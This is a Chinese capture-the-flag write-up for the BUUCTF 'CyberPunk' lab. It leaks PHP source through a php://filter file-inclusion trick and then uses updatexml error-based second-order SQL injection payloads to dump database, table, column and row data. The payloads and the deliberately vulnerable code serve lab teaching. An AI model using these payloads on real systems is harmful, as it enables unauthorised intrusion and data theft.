目录
平台地址:
开始:
方法1:
方法二
找提示
这里存在一个文件包含(file)。
爆源码
index.php源码
confirm.php源码:
search.php源码:
change.php源码:
delete.php源码:
开始注入
第一步:
第二步:
第三步:
注入数据库名:
注入表名:
注入列名:
注入具体值:
平台地址:
本次实战使用的在线平台为:BUUCTF在线评测
搜索CyberPunk,点击左边这个靶机。
进入后就到了进行实战的页面:
开始:
通过观察可以发现,该站点存在4个页面:
index.php search.php change.php delete.php
对于这个网站我们有两种思路:
方法1:
1:使用dirmap工具扫描,看它的根目录下有没有什么东西可以直接下载或者说有什么泄露。比如.get这样的文件泄露,我们可以通过.get将它的源码恢复出来。
目前看来:dirmap没有扫描出任何东西。行不通。
方法二
2:看源码,在源码中可能会有一些提示。
找提示
右键—>查看页面源代码
往下翻可以看到存在一个 file参数。我们可以利用file这个参数进行操作。
这里存在一个文件包含(file)。
爆源码
我们目前已经知道当前的web页面index.php可以传递一个参数file。
- 我们可以使用 :filter ,将源码以base64的编码行式传递出来,我们之后只需要将它解码就可以获取php页面的源代码了。
可以使用在线工具解码:Base64 在线编码解码 | Base64 加密解密 - Base64.us
index.php源码
在url中输入:
?file=php://filter/read=convert.base64-encode/resource=index.php
解码:
<?phpini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {echo('no way!');exit;}@include($file);
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" /><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><h2>2077发售了,不来份实体典藏版吗?</h2><img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO--><div class="row"><div class="col-md-8 col-md-offset-2 centered"><h3>提交订单</h3><form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"><h3>地址:</h3><input type="text" class="subscribe-input" name="address"></p><button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button></form></div></div></div>
</div><div id="f"><div class="container"><div class="row"><h2 class="mb">订单管理</h2><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->
在index.php中没有什么有用的信息。
confirm.php源码:
index.php将数据提交后交给了confirm.php这个文件来处理。
<?phprequire_once "config.php";
//var_dump($_POST);if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = $_POST["address"];$phone = $_POST["phone"];//这里对于输入的参数只过滤了两个,address这个参数没有进行过滤if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if($fetch->num_rows>0) {$msg = $user_name."已提交订单";}else{$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";$re = $db->prepare($sql);$re->bind_param("sss", $user_name, $address, $phone);$re = $re->execute();if(!$re) {echo 'error';print_r($db->error);exit;}$msg = "订单提交成功";}
} else {$msg = "信息不全";
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><img class="logo" src="./assets/img/logo-zh.png"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?><a href="./index.php"><button class='btn btn-lg btn-sub btn-white'>返回</button></a></div></div></div>
</div><div id="f"><div class="container"><div class="row"><p style="margin:35px 0;"><br></p><h2 class="mb">订单管理</h2><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
search.php源码:
<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];//这里有一个正则表达式,会对你输入的信息进行过滤,如果存在关键词则直接爆未找到信息。所以在这个页面中我们并不能进行任何操作。if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./"><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><p style="margin:35px 0;"><br></p><h1>订单查询</h1><form method="post"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"></p><p><button class='btn btn-lg btn-sub btn-white' type="submit">查询订单</button></p></form><?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?></div></div></div>
</div><div id="f"><div class="container"><div class="row"><p style="margin:35px 0;"><br></p><h2 class="mb">订单管理</h2><a href="./index.php"><button class='btn btn-lg btn-register btn-sub btn-white'>返回</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a> <a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a> </div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
分析:在search.php中对输入的三个参数都进行了过滤,所以在该页面不能进行任何操作。
change.php源码:
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];//在这里同样对我们的输入进行了过滤if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();//在我们将新的地址给旧的地址,但是旧的地址是我们从数据库中拿出来的,`old_address`='".$row['address']."'(旧地址在这)$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./"><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><p style="margin:35px 0;"><br></p><h1>修改收货地址</h1><form method="post"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"><h3>地址:</h3><input type="text" class="subscribe-input" name="address"></p><p><button class='btn btn-lg btn-sub btn-white' type="submit">修改订单</button></p></form><?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?></div></div></div>
</div><div id="f"><div class="container"><div class="row"><p style="margin:35px 0;"><br></p><h2 class="mb">订单管理</h2><a href="./index.php"><button class='btn btn-lg btn-register btn-sub btn-white'>返回</button></a><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
//在我们将新的地址给旧的地址,但是旧的地址是我们从数据库中拿出来的,`old_address`='".$row['address']."'(旧地址在这)
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
- .$address.是我们输入的新地址(它将新地址赋予它),.$row['address'].是我们的旧地址。这个旧地址是从数据库中直接拿出来的,放在这里,没有进行过滤。
delete.php源码:
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单删除成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" /><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><p style="margin:35px 0;"><br></p><h1>删除订单</h1><form method="post"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"></p><p><button class='btn btn-lg btn-sub btn-white' type="submit">删除订单</button></p></form><?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?></div></div></div>
</div>
<div id="f"><div class="container"><div class="row"><h2 class="mb">订单管理</h2><a href="./index.php"><button class='btn btn-lg btn-register btn-sub btn-white'>返回</button></a><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
开始注入
进过上面我们的源码分析,注入点存在 change.php页面中。
具体代码:
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
理由:在confirm.php提交后没有对地址进行过滤直接存入数据库中。在change.php页面中,修改时根据上面的代码可知会将旧地址从数据库中拿出来,并且没有进行过滤。从上面的代码可知,旧地址代码的闭合符为单引号。
并且在后面的代码中可以看到允许mysql报错。所以我们这里就可以思考使用报错注入进行二次注入。
第一步:
到提交页面的地址栏中写报错注入语句。之后点击提交。
第二步:
去修改页面上进行修改我们上一步写入的信息。点击提交。
提交之后就成功执行了我们之前的报错注入语句:将用户名注入出来了。
说明我们已经找到注入点,并且成功进行了注入。
第三步:
我们就使用报错注入完成接下来的注入。
注入数据库名:
使用下面语句重复上面的操作:
地址栏填写:
a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
注入表名:
地址栏:a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfusers' ),0x7e),1)#
注入列名:
地址栏:a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfusers' and table_name='user' ),0x7e),1)#
注入具体值:
地址栏:sawdaw' and updatexml(1,concat(0x7e,(select concat(user_id) from user limit 0,1 ),0x7e),1)#
之后我们就成功的完成本次注入了。